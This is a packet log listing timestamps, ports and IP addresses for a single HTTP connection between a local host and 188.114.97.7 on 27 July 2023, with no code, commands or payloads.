Jul 27, 2023 18:27:04.929821014 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.929872036 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.929899931 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.929919958 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.929922104 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.929970026 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.930625916 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.930675030 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.930706978 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.930722952 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.930727959 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.930772066 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.931597948 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.931646109 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.931679964 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.931694031 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.931704998 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.931742907 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.931790113 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.931849957 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.932360888 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.932440042 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.969131947 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.969181061 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.969228983 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.969264984 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.969276905 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.969321966 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.969379902 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.969415903 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.969465017 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.969481945 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.969506025 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.969567060 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.969892979 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.969944000 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.969991922 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.970000029 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.970040083 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.970088959 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.970096111 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.970799923 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.970849991 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.970864058 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.970901012 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.970947981 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.970969915 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.970995903 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.971062899 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.971761942 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.971811056 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.971858025 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.971888065 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.971905947 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.971954107 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.972009897 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.972672939 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.972721100 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.972768068 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.972798109 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.972814083 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.972817898 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.972862959 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.973599911 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.973634005 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.973683119 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.973728895 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.973777056 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.973777056 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.973825932 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.973866940 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.974581003 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.974631071 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.974679947 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.974699020 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.974726915 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.974728107 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.974776983 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.974828959 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.975480080 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.975528002 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.975574017 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.975621939 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.975641966 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.975670099 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.975678921 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.976397991 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.976448059 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.976495981 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.976510048 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.976543903 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.976543903 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.976593971 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.976650000 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.977427959 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.977477074 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.977524042 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.977535009 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.977574110 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.977895021 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.985446930 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.985485077 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.985608101 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.985656023 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.985682964 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.985703945 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.985711098 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.985752106 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.985800028 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.985819101 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.987288952 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.987338066 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.987365961 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.987385035 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.987433910 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.987437963 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.987483978 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.987543106 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.987756968 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.987806082 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.987852097 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.987869978 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.987905025 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.987952948 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.987971067 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.988744974 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.988795996 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.988806963 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.988843918 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.988894939 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.988950968 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.988955021 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.989008904 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.989885092 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.989936113 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.989981890 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.990001917 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.990031004 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.990078926 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.990087032 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.990880966 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.990931988 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.990962982 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.990978956 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.991027117 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.991074085 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.991087914 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.991127014 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.991461992 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.991511106 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.991558075 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.991611004 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.991632938 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.991658926 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.991658926 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.992643118 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.992691040 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.992738962 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.992763996 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.992779970 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.992786884 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.016731977 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.016805887 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.016855001 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.016889095 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.016906023 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.016941071 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.016954899 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.017004013 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.017026901 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.017052889 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.017102003 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.017103910 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.017149925 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.017196894 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.017209053 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.017244101 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.017292976 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.017297983 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.017340899 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.017383099 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.017390013 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.017601967 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.017652035 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.017669916 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.017698050 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.017745972 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.017793894 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.017802000 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.017841101 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.017852068 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.017889023 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.017941952 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.018013000 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.018511057 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.018559933 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.018606901 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.018610001 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.018660069 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.018707991 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.018721104 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.018755913 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.018759012 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.018805981 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.018852949 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.018877029 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.019428015 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.019479036 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.019499063 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.019526005 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.019573927 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.019622087 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.019649029 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.019671917 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.019686937 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.019721985 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.019771099 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.019794941 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.020354033 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.020421028 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.020454884 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.020472050 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.020524025 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.020570993 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.020579100 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.020618916 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.020621061 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.020667076 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.020714998 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.020766973 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.021250010 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.021300077 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.021333933 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.021348953 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.021395922 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.021444082 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.021454096 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.021492004 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.021492958 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.021541119 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.021590948 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.021663904 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.022177935 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.022228003 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.022255898 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.022277117 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.022325039 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.022372007 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.022413969 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.022418022 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.022458076 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.022465944 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.022515059 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.022567034 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.023066044 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.023116112 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.023129940 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.023164034 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.023211956 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.023258924 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.023264885 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.023305893 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.023308039 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.023355007 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.023401976 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.023453951 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.024002075 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.024053097 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.024099112 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.024118900 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.024147034 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.024147034 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.024195910 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.024245977 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.024301052 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.024322987 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.024370909 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.024373055 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.024872065 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.024924994 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.024972916 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.024980068 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.025021076 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.025023937 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.025068998 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.025115967 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.025161982 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.025168896 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.025208950 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.025262117 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.025866985 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.025918007 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.025918961 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.026034117 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.026082039 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.026128054 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.026138067 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.026176929 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.026179075 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.026226997 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.026273966 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.026320934 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.026328087 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.026369095 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.026370049 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.026963949 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.027013063 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.027060032 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.027071953 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.027108908 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.027112961 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.027156115 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.027204037 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.027250051 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.027256966 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.027297974 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.027298927 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.027873993 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.027925968 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.027940989 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.028017998 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.028067112 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.028076887 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.028115988 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.028162956 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.028212070 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.028215885 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.028275013 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.028259993 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.028783083 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.028831959 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.028851032 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.028879881 CEST	80	49710	188.114.97.7	192.168.2.4
